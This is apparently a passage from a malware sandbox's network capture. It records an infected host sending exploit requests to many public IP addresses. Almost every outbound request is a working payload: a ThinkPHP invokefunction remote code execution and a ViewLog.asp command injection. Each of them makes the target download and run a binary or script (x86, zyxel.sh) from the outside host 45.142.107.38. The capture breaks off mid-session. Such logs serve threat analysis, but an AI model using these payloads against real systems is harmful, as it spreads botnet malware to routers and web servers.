3b 39 33 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 33 33 34 26 23 34 36 3b 31 66 38 66 66 31 36 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.937a7b5c.1709561334.1f8ff16b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.13	35966	95.159.28.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:54.836986065 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:55.057981014 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 13:35:26 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.13	37788	31.135.151.98	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:57.327797890 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:58.422800064 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:58.631221056 CET	21	IN	HTTP/1.1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.13	39944	62.109.2.160	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:57.327933073 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:58.454808950 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:58.659672022 CET	627	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Mon, 04 Mar 2024 14:08:58 GMT Keep-Alive: timeout=60 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.13	54978	31.44.133.178	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:58.353569031 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.13	34376	112.162.233.29	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:58.357855082 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:59.798954010 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:09:00.082598925 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Mon, 04 Mar 2024 14:08:59 GMT Server: lighttpd/1.4.45 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.13	59382	112.196.76.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:58.503540039 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.13	36962	94.68.252.6	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:58.784230947 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.13	60442	62.29.12.64	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:58.785397053 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.13	39164	112.74.73.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:58.856692076 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:59.202449083 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:59 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.13	53748	88.116.38.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:59.049464941 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:59.241960049 CET	242	IN	HTTP/1.0 400 Bad Request Connection: close Content-Length: 113 Date: Mon, 04 Mar 2024 14:09:15 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 400: Bad Request</title></head><body><h1>Error 400: Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.13	35118	94.121.152.128	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:59.350833893 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.13	50648	31.200.46.23	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:59.353039026 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:03.606853008 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.13	45218	88.87.14.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:59.867162943 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:09:00.068958044 CET	62	IN	HTTP/1.0 400 Bad Request Connection: Keep-Alive
Mar 4, 2024 15:09:00.068970919 CET	83	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e Data Ascii: Keep-Alive: timeout=20Content-Type: text/html<h1>Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.13	47496	88.214.43.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:59.887294054 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:09:00.106611013 CET	450	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:59 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.13	47704	31.136.22.137	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:00.553344965 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:03.606853008 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.13	59330	94.121.97.80	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:00.794241905 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.13	60736	31.200.2.248	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:00.797235012 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.13	52428	94.121.76.147	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:09:00.797429085 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.13	45920	62.29.26.178	8080

Timestamp	Bytes transferred	Direction	Data
